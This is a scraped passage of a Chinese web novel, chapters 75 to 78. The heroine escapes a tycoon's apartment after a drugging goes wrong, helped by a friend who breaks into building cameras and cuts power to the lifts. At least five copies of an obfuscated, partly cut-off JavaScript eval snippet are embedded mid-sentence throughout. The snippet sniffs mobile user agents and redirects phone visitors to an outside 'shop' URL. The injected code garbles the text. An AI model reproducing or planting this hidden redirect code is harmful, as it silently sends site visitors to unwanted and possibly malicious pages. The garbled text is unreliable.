对此，容清洛感到匪夷所思：“你脑子呢？听不懂人话？” 她冷着脸警告林裕：“我是在威胁你，你如果用强，我会和你鱼死网破。” 林裕轻叹一口气，抬起手来。 容清洛见到这个动作，以为林裕要打她，连忙扭开脸要躲。 林裕意识到这一点，抬起的手微顿：“原来你也知道怕？看你这张牙舞爪的样子，还以为你天不怕地不怕。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578025|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>容清洛的神情有些不自然。 林裕安抚似的为容清洛整理了一下因挣扎而弄乱的头发，才道：“若我没记错的话，唐雎这句话是对秦王说的吧。” “秦王并四海，扫六合，建不世之功业。随小姐，你刚才选择用那句话来震慑我，说明你在潜意识里把林某和秦王放在同一个位置，林某很惊讶，也有一点极细微的欣喜。” “奈何林某只是一介商人，还远达不到这般成就。所以你真是谬赞了。” 真会给自己脸上贴金。 容清洛腹诽道。 眼见林裕的脸又要压下来，容清洛连忙道：“林先生，你好重，压得我好难受，腿都麻了……你能起来一下吗？” 林裕挑眉。 就在容清洛以为林裕不会答应她的要求时，天旋地转，二人瞬间交换了位置。 林裕抱着容清洛，让她坐在自己腿上。 怀中人皱着眉，冷若冰霜。 林裕突然道：“若有朝一日，林某身故，我不需要天下缟素。” 因林裕神色颇为郑重，容清洛多少有些好奇，便问道：“那你要什么？” 林裕鼻尖碰了一下容清洛的鼻尖，轻声道：“只求随小姐念在今夜良缘，舍一抹芳魂来陪我即可。” 容清洛面色微变：“你做梦呢。” 说着，她又开始挣扎，想要从林裕腿上下去。 但容清洛的手腕被绑着，腰被扣着，怎么也逃不脱。 “老实一点。”林裕一手揽着容清洛，一手扣住容清洛的下巴，让她正视自己的眼睛。 林裕端详着眼前不情不愿的女子，忽地凑到容清洛嘴角轻啄了一下。 容清洛瞪大眼睛，狠狠道：“林裕你无耻，请你自重。” 林裕是真的觉得这姑娘很有意思，很对他的脾气。 他恶劣笑道：“看来随小姐还不知道什么叫真的无耻。” 说罢，他凑到容清洛耳边。 气息让容清洛不寒而栗。 容清洛心里正思量着对策，想着大不了和林裕同归于尽。 她孑然一身，带走林裕这么一个大集团的总裁，一换一，也不算亏。 就在这时，她突然感到肩膀一沉。 林裕的脑袋就靠在她脖子上，半晌没动。 75. 永夜降临 这人的状态似乎有点不太对。 容清洛试探出声：“林先生？” 无人回答。 她又道：“林裕？” 仍旧无人回答。 容清洛故意道：“林扒皮？” 还是无人回应。 身后环着她腰的臂膀好像也渐渐脱力，只是虚搂着她。 容清洛嗖的一下连忙从林裕身上站起来。 她这才看清楚林裕紧闭的双眼。 这人竟然晕过去了。 回想起自己倒进汤里的酒以及晚餐时基本只喝汤的林裕，容清洛恍然大悟，原来林晶在她酒里放的是迷药。 她要是真的喝下那杯酒，晕了过去，那现在躺在这里的就会是她。 那她岂不是任林裕为所欲为？ 思及此，容清洛对林晶的厌恶又上升一个层级。 好在，最终被迷倒的不是她，而是林裕。 容清洛看着林裕昏迷的样子，幽幽道：“要怪就怪你自己的妹妹吧，你们兄妹二人一体，这也算是自食恶果。” 墙壁上的挂钟昭示着现在的时间。 晚上七点四十。 不算晚，但是也不早了。 容清洛从地毯上捡起被严靖诚打落的水果刀。 幸好严靖诚把她的双手绑在身前，这比绑在身后方便许多。 她小心翼翼地拿刀对着手腕上的皮带比划了半天。 刀刃锋利，很难不割到手。 容清洛正犹豫着究竟从何处划开皮带。 松动的手腕令容清洛陡然间意识到，林裕绑得其实并不紧。 也许对林裕而言，绑住她，情趣大于实用价值。 容清洛干脆把刀放在一边，翻着手指解了半天，终于把皮带解开。 为了防止林裕突然苏醒，她把林裕的双手并拢，拿皮带打个死结。 做完这一切，容清洛呼出一口气。 危机暂时解除，下一步她要思考如何离开这个鬼地方。 门外守着几个保镖，很明显，她不能直接硬碰硬地走出去。 只能智取了。 容清洛在这套公寓里四处转着勘察地形。 果真如林晶所言，各个房间都被锁住，容清洛根本打不开。 想趁机窃取点机密的行为因为门锁而未遂。 从阳台往下望去，林裕住的楼层较高，跳窗并不可取。 来到厨房，看着天花板上安装的烟感报警器，容清洛有一瞬间想要模仿当年吴焕晗在体育馆救下她时的做法。 烧几本书，让火灾报警器自动报警，然后扑灭火，趁乱逃出去。 但这是报假火警，如果她被查到，会很麻烦。 可如果真的放火…… 这是住宅区，不是人烟稀少的郊区仓库，如果真的烧伤无辜的人，她如何才能谢罪。 思来想去，在居民楼放火都不是一个很稳妥的办法。 火并不是她能控制的东西，稍不注意，这得连累多少条性命。 这个孽，她造不起。 看来，仅凭她一个人，是无法逃脱的。 可是要向谁求助呢？ 容清洛第一个想到的是严靖诚。 她兜里还装着林晶的头发。 严靖诚要是想拿到这头发，就得派人来救她。 但有一点令容清洛十分犹豫。 要知道，严靖诚心里期盼地就是让她给他的亲闺女林洛挡刀。 如今林裕对她还算感兴趣。 严靖诚那么宝贝林洛，难保他不会为了让林裕不再纠缠林洛，对她在林裕这里乐见其成。 毕竟，代价不过是放弃从她这里获得林晶的头发而已。 罪却都让她一个人承受了。 不妥。 不能找严靖诚。 在容清洛一筹莫展之际，她脑海里突然闪过贺溪君的笑颜。 她还是喜欢像小时候一样喊贺溪君画画姐。 「守护你，是我的宿命。」 这是画画姐对她说过的话。 本来容清洛是不愿意将画画姐牵扯进自己复仇的事当中的，她害怕自己会连累画画姐。 但今年重逢后的这几件事情，让容清洛对画画姐有了新的认识。 画画姐简直比她还神秘。 而且画画姐超级厉害。 要说如今有谁能全心全意地救她，可能真的只有画画姐了。 容清洛拿出手机，决定抱紧画画姐的大腿。 这时，客厅里突然有手机铃声响起。 容清洛面色煞白。 反应过来这可能是林裕的手机在响，容清洛顺着铃声找过去，看到屏幕上来电显示的名字。 晏行铮。 这是谁？ 能有林裕的私人手机号码，而且在晚上这个时候打电话来。 林裕还在手机上保存了对方的名字。 这都说明这个晏行铮和林裕之间应该还算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578026|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比较熟悉。 容清洛没有接电话，也没有挂掉这通电话，她只是把铃声调成静音，以免吵醒林裕。 来电页面很快自动关闭。 容清洛松下一口气。 林裕这套房子里虽然各个房间的门都打不开，但是有一间卫生间没有上锁。 容清洛躲进卫生间里，锁上门。 刚从包里拿出自己的手机来，仿佛心有灵犀一般，屏幕亮起。 是贺溪君的来电。 容清洛连忙接通，低声道：“画画姐？” 匆忙之间，她瞥见手机屏幕顶端的时间，二十点整。 对面传来的声音让容清洛感到安心。 贺溪君：“洛洛，我梦到你遇见困难，正需要我。” 听到这话，容清洛眼里差点儿涌出泪来，鼻子微酸：“画画姐料事如神，我确实有事需要你帮忙……” 贺溪君：“你现在怎么样，说话方便吗？” 容清洛随时注意着外面的动静，她点头道：“方便的，我躲在卫生间里。” 贺溪君隔着虚空安抚容清洛道：“别害怕，现在告诉我你那边的情况。” 容清洛强迫自己冷静下来：“画画姐你记得我前两次请你帮的忙吗？都是有关林氏集团的大小姐林晶的。” “今天林晶以赔偿手机为由把我骗到她哥林裕家里，然后她自己离开了，留下我和林裕。” “现在林裕在客厅昏睡，我想要逃走，可是大门外面有四个身手看起来很好的保镖守着……画画姐，我应该怎么做才能逃出去？” 贺溪君：“林裕家在哪里，你的具体位置是？” 容清洛一边保持通话，一边打开通讯软件，找到和贺溪君的对话框：“画画姐，我把定位发给你了，你查看一下，林裕家就在18层，这一层就他一户。” “我看到了。”贺溪君戴着耳机，在手机上确认定位的详细地址，“你稍等一会儿，别怕啊，等我。” 容清洛：“好。” 宁大校园里无人的寥落一角，贺溪君坐在一个少有人来的长廊上。 残月如弓，带着丝肃杀气息，一如此时贺溪君冷凝的眼。 她打开横在膝盖上的笔记本电脑，纤细秀美的手指在键盘上快速地敲击。 电脑屏幕散发出的微光映照出贺溪君冻得通红的脸。 冬日的夜晚，天寒地坼。 贺溪君手上一直未停，争分夺秒地在电脑中输入着一排排复杂代码。 76. 永夜降临 时间一分一秒过去，终于，贺溪君推了一把鼻梁上架着的眼镜，开口道：“好了。洛洛，听得见我说话吗？” 容清洛：“画画姐你说，我一直在。” 贺溪君：“洛洛，我现在告诉你我的方案。” “我已经侵入林裕所在小区物业的监控系统，可以看到林裕家那栋单元楼18层的情况。” “现在，在门外只有三个保镖。” “我回溯了一下监控记录，听到那个保镖说是有点拉肚子，实在忍不住，所以去找公厕上厕所了。他短期内应该回不来。” “现在你想要离开，就需要想办法再调走两个保镖，这样屋外就只剩最后一个保镖，届时你只要想办法把他困在屋内就可以。” “我会通过监控实时观察保镖的动向，如果离开的保镖回来了，我会让电梯突然停电，尽量困住保镖，为你拖延时间。” “所以如果你顺利逃脱，不要坐电梯，务必走楼梯。” “你觉得这个方法可行吗？” 容清洛立马点头，惊叹道：“好，调虎离山，我怎么没想到？” “画画姐，就按你说的来。” 贺溪君：“洛洛，我只能给你出谋划策以及提供一些技术帮助，真正实操还是要靠你自己。” 容清洛：“明白。” 贺溪君叮嘱道：“一切要小心，别怕，我虽然不在现场，但我可以通过监控和电话一直陪着你。” “通话你先别挂断，手机就放在兜里，必要的时候大声呼救，我听到后会立刻采取措施。” “别的我可能做不了，但是搞点小破坏我还是能办到的，比如让整栋楼突然停电之类的，起码可以让那里乱起来，你就有机会逃走了。不过这样做造成的影响会比较大，牵扯到的人也会比较多，在没被逼到山穷水尽的时候，咱们还是先尝试小范围内无声无息的方法。” 容清洛：“我懂了，画画姐，那我现在开始行动。” 贺溪君：“加油，时刻记着，有我在。” 在与画画姐商议过逃跑计划之后，容清洛心里大概有了数。 她突然体会到，书中所描述的运筹帷幄之中、决胜千里之外，原来就是画画姐这个样子。 容清洛很快打起精神。 首先她点开外卖平台，在离这里最近的一家蛋糕店下单了一个生日蛋糕。 林晶说今晚是林裕的生日，可她却并没有为林裕准备蛋糕。 也不知道这生日是不是林晶诓骗她的。 不过反正林裕也没反驳。 既然如此，那她为林裕准备一个生日蛋糕，完全合情合理。 在等待外卖小哥电话的过程中，容清洛扛着林裕坐到了阳台的摇椅上。 为了逼真，她还将两只装了酒的高脚杯摆在阳台的小圆桌上。 然而，取外卖只能引走一个保镖。 容清洛站在阳台上。 从这里看到的景色与她在出租屋看到的截然不同。 高处的夜景果然不同凡响。 可她一点都不羡慕，她现在只想回到自己安全的领土。 吹了会儿风，容清洛终于又想到一个点子。 她扭头，眼神定定地落在林裕闭着眼的睡颜上几秒，狠狠道：“都怪你，否则何至于此……” 从包里翻出纸笔，容清洛在纸上写下“避孕套”三个字，然后将纸对折。 接着，她从厨房找到炒菜用的油，将油轻轻在阳台的各处洒上不显眼的一层。 做完这一切，容清洛坐在沙发上，静静注视着手机屏幕。 大概五分钟过去，手机铃声响起，是外卖小哥。 容清洛和对方说让他在小区外稍等一下，然后便打开公寓大门。 门外果然站着三个保镖。 随着房门的打开，三人的目光都紧紧盯住出现在门口的她。 容清洛指着手机屏幕上的外卖订单，笑道：“几位大哥，今天是林总生日，我给林总订了一个生日蛋糕，想去取一下可以吗？” 一位保镖断然拒绝道：“这位小姐，不是我们不让你去，而是老板下了命令，今晚不能让你离开这里。” “如果你非要去，我们需要征得老板的同意。”说到这里，保镖似有所悟，眼神里透露出怀疑，问道，“老板呢？” 容清洛把门完全拉开，示意这个保镖往阳台的方向看：“林总喝了点酒，有点乏，在阳台小憩。要不你去问问他？” “我们不敢打扰老板，”保镖妥协道，“小姐，不如这样吧，你把订单具体信息给我看一下，我去替你拿。” 容清洛露出不情不愿的表情：“这样啊，好吧。那你拿蛋糕的时候可要注意小心一点，别磕碰到了。” 那个保镖答应着走了。 门关上，容清洛靠在门上，心脏紧张得砰砰直跳。 这是第一个。 大概过去两分钟，容清洛又打开门。 这一回，她脸上露出比较羞涩的表情，递出一张纸条：“林总准备洗澡，说让你们谁去买一下这个。” 其中一个保镖接过纸条，见到其上所写的物品，明白过来。 老板有这需求，很合理。 所以他没有多问面前这位害羞的小姐其他问题，点点头便转身离去。 至此，门外只剩下一个保镖。 容清洛把昏睡的林裕从摇椅上扶起来，让他侧躺在阳台的地面上，背对着阳台门。 成败在此一举了。 容清洛开始收拾自己的包。 把水果刀插进刀鞘，放进包里。 目光恰好扫到自己的工牌。 容清洛拉上拉链的动作顿住。 如果她今天就这样离开，像林裕这样骄傲的人，也许会恼羞成怒，也许会有各种反应。 她需要防着的一点是，林裕有可能会派人去查她。 想到这里，容清洛皱起眉头。 她不能让林裕漫无目的地去查自己。 因为如果那样的话，她平日里的各种小动作极有可能会暴露，如果一不小心牵扯出严靖诚，那她的所有信息，甚至是真实身份，都会被林裕查个底朝天。 与其这么被动，不如由她来给林裕指一个有关她身份的明确方向，方便林裕找到她，也省的林裕还要花费心力派人细查。 她如果想要复仇，就根本经不起查。 于是，容清洛从包中取出工牌和水果刀。 她把水果刀的刀鞘取下，按照最初的位置扔在地毯上。 然后容清洛将自己的工牌塞进沙发的缝隙中，虽不明显，但只要仔细看是能够发现的。 这个工牌上没有她的姓名和照片，只有春觅咖啡店的名字和logo。 这是因为她前段时间刚好把工牌弄丢了，重做需要时间，不得已才用了几天临时工牌。 如今新工牌发下来，这个临时工牌忘记还了，刚好现在派上用场，就当作留给林裕寻找她的线索。 布置好一切，容清洛把包和外套先放在门口，方便待会逃走的时候拿。 然后她深吸一口气，一脸焦急地打开公寓大门，向门外最后剩下的那一个保镖求救道：“大哥，你快进来看看，林总可能是喝得有点醉了，他刚才起来的时候没站稳，突然摔了一跤，倒在那儿，我实在不知道怎么办了……” 对于老板的安全问题，这个保镖非常上心。 是以，容清洛的话还没讲完，保镖就冲了进来。 保镖问道：“老板在哪里？” 容清洛指着阳台的方向：“那里。” 保镖看见倒在地上的林裕，连忙跑过去。 容清洛也跟着过去。 保镖将林裕背起来，欲往客厅走，却因为阳台的地太滑而摔倒，他背上的林裕也因此磕在地上。 保镖吓得要命，连忙察看林裕是否受伤。 就在保镖手忙脚乱的时候，容清洛猛地把阳台的玻璃门拉上，从内把门锁起来。 于是，保镖和林裕都被堵在了阳台上。 在保镖目瞪口呆之际，容清洛拿上自己的包和外套，拉开公寓大门，逃之夭夭。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578027|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 走之前，她没有忘记把公寓门锁上。 那个被锁在阳台的保镖身上应该有手机或者对讲机。 一旦外面的保镖们得知她跑了，随时就会赶回来。 所以她必须赶紧走。 不过在那些保镖的心中，守护他们老板林裕的安全应该比抓回溜走的她具有更高的优先级。 如今林裕昏迷不醒，他们也许会先叫医生。 但容清洛也不敢赌这些保镖肯定不会来抓她。 所以她还是拿出平生最快的速度在楼梯间向下冲刺。 她边跑边从兜里拿出手机，向通话另一端的贺溪君汇报：“画画姐，我出来了，正在下楼。” 贺溪君一直在电脑前密切注视着监控。 她已经从电脑屏幕上看见容清洛顺利逃出林裕家的身影，此刻她脸上露出欣慰的笑：“太好了……” 然而，话音未落，贺溪君看见其他监控上出现的保镖，她连忙给予容清洛警示：“洛洛，那个去拿外卖的保镖回来了，他正在一楼等电梯。另外，去上厕所的那个保镖也在回来的路上，快要到单元楼门口了。” 容清洛：“好，我知道了，我先下到一楼再说。” 贺溪君：“嗯，你到了一楼先别从楼梯间出来，第一个保镖已经进电梯了，等第二个保镖也进电梯以后我告诉你。” 容清洛不敢怠慢，一步跨几个台阶地往下跳着跑，终于来到一楼。 过了一会儿，贺溪君说道：“洛洛，两个保镖现在分别进入了不同的电梯，且他们乘坐的电梯此时都被我断电了，你快离开这栋单元楼。” 容清洛：“好。” 胜利就在前方，容清洛从包里拿出鸭舌帽戴在头上，将帽檐压得低低的，这才推开楼梯间的门，向外快步走出。 眼瞅着小区大门就在前方。 贺溪君突然在电话那头道：“洛洛，被你支使出去买东西的保镖正在进小区大门，马上就会和你碰见，快躲开。” 容清洛连忙止住向前冲的步伐，往旁边的树后面退。 夜色朦胧，昏暗的光线之下，那人应该注意不到她。 在树木的掩护下，容清洛向外看去，果然，那保镖拎着袋子正急匆匆地顺着这条路走来。 瞧着他着急的样子，容清洛猜测，也许这人已经从其他保镖那里得知她跑了的消息。 那人越走越近，容清洛朝灌木丛深处躲去。 这时候，有人大喊一声，容清洛吓了一跳，跌坐在草地上，灌木掩盖了她的身影。 当那保镖回头向后看时，容清洛才意识到，是有人在叫这个保镖的名字。 那人似乎也刚进小区，正朝着这个保镖的方向走来。 看清那人的脸时，容清洛感到十分诧异。 竟然是周先生。 保镖对周先生很恭敬的样子，小跑到周先生旁边。 两人交流着走过这条路，没有发现躲在树林和灌木之后的她。 看着二人远走的背影，容清洛如释重负，飞快地奔出小区大门。 登上公交车，容清洛瘫坐在最后一排的座位上。 她小声道：“画画姐，我成功了！” 贺溪君原本紧张的神情在这一刻松懈：“太好了，洛洛，你很棒。” 她瞬间放松下来，靠在长廊的柱子上，一摸后脑勺，满头是汗。 容清洛：“画画姐，今天真是多亏了你，谢谢你！这两天你啥时候有时间，我请你吃饭。” 贺溪君：“没事，我说了要守护你的，怎么能食言。我这几天还在实习，等实习结束了再约饭吧。今天你也累了，早点回去休息，安安稳稳睡一觉。” 容清洛终于回到自己的出租屋，在安全的环境里，她才有心力开始思考和逃跑无关的事情。 为什么周先生会认识林裕的保镖？ 为什么那保镖还喊周先生“铮哥”？ 不仅如此，她前段时间还从监控录像里发现周先生正住着林裕的房子。 所以，周先生……到底和林裕是什么关系？ 77. 永夜降临 当天夜里，林裕的公寓中可以说是鸡飞狗跳。 昏睡的林裕和一个保镖被困在阳台上。 门外的保镖没有钥匙开不了门。 恰逢晏行铮有要紧的事要汇报给林裕，但打林裕电话却没人接。 他只好专门来找林裕。 进小区后碰到林裕行色匆忙的保镖，晏行铮这才了解到今晚发生的事情，跟着保镖来到林裕家门口，奈何众人都没有钥匙。 而阳台上的那名保镖不敢未经老板同意就砸碎阳台门的玻璃，因此无法给大家开门。 最后只好由晏行铮做主给林大小姐打电话，让她来开门。 林晶放寒假后都住在林家老宅，但她动作很快，没过多久就到了，随行而来的还有林裕的私人医生。 林裕被人从阳台上解救出来，却昏迷不醒，医生检查后说林总体内有迷药成分。 林晶这才后知后觉地明白过来，她给那位容小姐下的迷药最后竟阴差阳错地被哥哥喝掉。 在医生的治疗下，林裕很快醒来。 见到晏行铮在这里，他有些意外。 但林裕明白晏行铮不会随便来找他，他挥退众人，问道：“沙场如何？” 晏行铮：“林总放心，沙场一切正常无恙。” 林裕点头，放下心来。 他靠在枕头上：“说了多少遍，喊哥。” 晏行铮：“林总您是林氏集团总裁，掌管那么大的产业。我不过无名小卒，受您赏识，挣得一碗糊口的饭罢了，不敢称呼您哥，对您不够尊敬。” 林裕：“阿铮，我这条命是你救的，这恩情，我记着。” “你躺了好几个月才出院，伤筋动骨一百天的罪，你替我受了。” “家父从小教导我们做生意要讲诚信，讲义气。” “从此以后，你就是我兄弟。我比你虚长十岁，你喊我一声哥，不为过。” 见林裕实在坚持，晏行铮没有继续违拗他，唤道：“裕哥。” 林裕颔首，十分受用，关心晏行铮道：“阿铮，我那房子你还住得惯吗？那里位置好，四通八达，刚好空着，给你住是再合适不过。” 晏行铮：“住得惯，谢谢裕哥抬爱。” “裕哥，我今天找您，其实是有一个重要消息要汇报。” 林裕：“你说。” 晏行铮：“您也知道，我有一些特殊渠道。今天我收到消息，范家最近会有些大动作，像是要针对您。但是他们具体要做什么，我还没查到。” 林裕沉吟道：“好，我了解了，我会派人去查的，阿铮你先回去，之后我会再联系你。” 晏行铮走出林裕家门，站在电梯前，摁动按钮。 他心里思考着林裕知道这个消息之后可能的动作，面上却未露出半分。 实际上，这个消息是平叔他们得到的。 平叔让他告诉林裕，是为了引蛇出洞。 林裕一向很谨慎，他把手底下那些黑色产业瞒得密不透风。 哪怕晏行铮豁出命救了林裕，林裕也只是在晏行铮伤好后把他安排在沙场当个小领导，并未让他插手林家暗面真正的核心产业。 因此，平叔他们才会希望林裕在和范氏对抗的过程中忙中出错，露出破绽。 *** 晏行铮离开后，林裕把几个保镖喊进来，询问在他昏迷期间发生的事情。 保镖们一五一十地汇报情况。 林裕眉目垂着，无端让人感到阴冷。 就在众人为这低气压而冒汗的时刻，林裕开口道：“把她让你们带回来的东西都拿来。” 于是，生日蛋糕、纸条以及购物袋里的小盒子都被取进来端放在桌上。 林晶让保镖们仍旧到门外守着。 医生留下一些药剂之后，也被林晶赶走。 待屋内没有其他人了，林晶来到林裕卧室前，轻咳一声，轻扣大开着的门板。 林裕见她这样子，就知道她肯定没干好事：“门又没锁。” 林晶将水杯递给林裕：“哥，说了这么久话，嗓子累了吧，喝点儿水。” 林裕接过水杯，却没喝，径直放在一旁，轻抬下巴，好整以暇地看着妹妹，说道：“什么事，说吧。” “哥，对不起，”林晶向林裕坦白道，“今天那迷药是我下在酒里，给那位容小姐的，不知道为什么最后她没事，反倒是哥哥你被迷晕了……” 林裕皱眉：“她告诉你她姓容？” 林晶：“对啊。她没说叫什么名字，只说姓容。” 林裕挑眉。 林晶：“怎么了？难道她不姓容吗？” 林裕摇头，没有回答这个他也并不知晓答案的问题，而是道：“今晚我没喝酒，只是吃了点菜。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578028|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “这样啊……”林晶细细回忆起容小姐进门以来的场景，她突然明白过来，“哥，肯定是你回来的时候，她趁着我和你说话的空档，把酒倒进哪盘菜里了。” 林裕立时想起女生给他盛的那碗汤。 她整晚没喝过一口汤。 林裕恍然：“应该是倒进了汤里。我喝了不少汤。” 林晶：“她这运气还挺好，专门往你爱吃的里面倒。” “哥，对不起，都怪我，让你受苦了。我会找机会收拾那女的。” 林裕知道妹妹一向莽撞，怕她不管不顾地闹出事来，便道：“好了，这事你不用管了，你也别去找她，我会处理的。” 林晶：“哥……” 林裕：“最近集团会有些动荡，我有一些大动作。所以晶晶，你在你的小圈子里做好你自己的事，乖乖的，别被人抓到把柄。” “哥，我怎么不乖了，”林晶，“我本来也是觉得你太累了，想让你放松一下，才把这个偶然遇到的女生找来的，哪想到……” 林裕正色道：“你知道我说的不是这件事。” 见哥哥冷肃着一张脸，林晶低头：“好吧，哥，你要办正事，我不给你添乱。” 林晶见林裕已经没有大碍，便回到林宅，公寓里就剩林裕一个人。 林裕有些睡不着，干脆起来，破天荒地在房子里四处转悠，观察是否有那位随小姐留下的痕迹。 地毯上的水果刀很显眼。 林裕将刀捡起，插进刀鞘，脑海里闪过随亦出尘脱俗的脸。 也不知道她到底叫不叫随亦。 韶颜芳华，婀娜多姿，确实令人一见难忘。 奈何美人过分刚直。 确实扎手啊。 不过，林裕觉得随亦并不像玫瑰，倒像是傲雪凌霜的梅花，虽不驯服，却也别有一番滋味。 林裕笑叹一声，坐在沙发上。 今日这沙发有点硌人，林裕皱眉起身，低头看去，才发现缝隙里有东西。 林裕将拿东西拿起细看。 工牌？ 春觅咖啡店。 林裕若有所思。 他拿出手机，打开导航软件，在搜索栏输入“春觅咖啡店”。 显示出的结果有些出乎林裕的意料。 他确实没想到，这家咖啡店竟然就位于林氏集团总部旁边。 78. 永夜降临 翌日清早，容清洛把林晶的头发放进塑封袋里，又用一个大信封将其包住。 在上班路上，容清洛把这个信封放进离她的出租屋最近的一个寄存柜中。 过了几天以后，她傍晚下班后去查看时，在寄存柜中拿到了严靖诚的回信。 容清洛将信封藏进包中，回到住处才打开。 在信中，严靖诚首先对容清洛的工作能力表示了赞扬，然后让她重新启动接近林裕的任务，并且时间越快越好，之后还会有重要任务委派给她。 随信附着一张照片。 容清洛眯起眼睛，抬手抚上照片里自己暗含焦灼慌张的眼。 这是那天晚上她从林裕家那栋楼中逃走时的画面。 严靖诚果然一直派人盯着她。 但他的人却没去救她。 容清洛自嘲一笑。 人家为什么要救她。 把她送到林裕身边，不正是严靖诚所乐见的吗？ 所以他手下当然不会出面阻止。 容清洛现在终于明白了严靖诚的真正用意。 他送她来宁川市潜伏，有多层目的。 严靖诚首先自己要完成范家交给他的任务，所以选择她作为接近林裕、打探情报的棋子。 掩藏在任务之下的，是严靖诚自己的私心。 他用严汀洛当幌子，让众人都以为，让她这张脸和严汀洛相像是为了迎合林裕的审美。 但实际上，她虽然确实是来当替身的，却绝不是给严汀洛当替身。 她当的是林洛的替身。 严靖诚既要她传递林裕的消息，还要她替林洛在林裕面前消灾。 这样，他既完成了范家所托，又保护了自己的亲生女儿，还把一切隐藏在公事公办的任务之下。 真是一鱼多吃，一点儿也不浪费。 但是，她作为砧板上的鱼肉，价值都被严靖诚榨取，她自己最后却终究是要进入油锅的。 容清洛冷下脸来。 怪不得明明都已经告诉严靖诚，林晶在南庐市见过自己的脸，现在接近林裕容易暴露身份，但严靖诚仍旧让她在林晶还在宁川市的时候重启任务。 容清洛有心想给严靖诚打个电话，拒绝这件事。 但两个月前严靖诚给的那部联络手机在他离开宁川市的时候已经收回去了。 现在她联络严靖诚，为了不暴露自己，还得到外面找公用电话。 带上口罩准备出门之际，容清洛的手搭在门把手上，却犹豫了。 严靖诚根本不会在乎她的死活的。 严汀洛的那张脸，极有可能就是严靖诚以林洛为模板做的手术。 在严靖诚眼里，她和严汀洛没什么区别，都只是抛出去的棋子，随时可以为了攻陷敌人而舍弃。 严汀洛如今在哪里？ 死了。 现在由她容清洛接下了这根接力棒。 所以，只要严靖诚想，他就可以制造出无数拥有这张脸的人。 即便她要完成的任务风险极高，但只要她有一丝做成的几率，他都会让她去尝试。 因为她是耗材。 这是想要达到目标而在一些时刻必须要被放弃的成本。 她就是那个可以被放弃的成本。 严靖诚现在让她借此机会接近林裕，就是要榨干她的最后一丝价值。 毕竟，如果容清洛真的能很受林裕信任，拿到一些内部证据，那么就能给林裕致命一击，林家就有了迅速陨落的可能性。 届时严靖诚和范家也就不再需要她，哪还会管她的身份暴露与否。 只有她，会替他们承受林裕的怒火。 容清洛深觉自己这是在与虎谋皮。 可她能拒绝严靖诚的要求吗？ 信封里的这张照片就是一个看似温和其实暗藏杀机的威胁。 她的行踪全在严靖诚的掌控之下。 她要是不合作，严靖诚先下手的对象就是她。 容清洛阖上眼，半靠在沙发上。 进屋时外面的天色还有些惨白，此时光线已然黯淡。 容清洛没有开灯，在一片寂静中思考着自己应该何去何从。 她现在摆明了就会成为林、范两家斗法的牺牲品。 后退之路被严靖诚在后面堵死。 前进之路同样也是一条死路。 范家赢，林裕不会放过暴露身份的她。 林家赢，林裕更不会放过暴露身份的她。 容清洛叹气。 她必须想办法在这盘死局里找到一线生机。 她想复仇，达成林家倒台的目的。 同时她又不想一直被严靖诚掌控和威胁，那么，不是什么好东西的范家最好也要倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578029|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 台。 林范两家说是对家，其实根本就是一丘之貉，同样的货色。 虽然他们都有些势力，但正所谓山外有山，总有比他们更高一级的势力存在。 这就需要容清洛等待时机，不断寻找。 容清洛明白，她已经入局，轻易脱不得身。 既如此，与其前怕狼后怕虎地瞻前顾后、畏首畏尾，她不如就赌上一把。 这桌棋局上，不是只有严靖诚和林裕。 她此时是棋子，还能永远是棋子吗？ 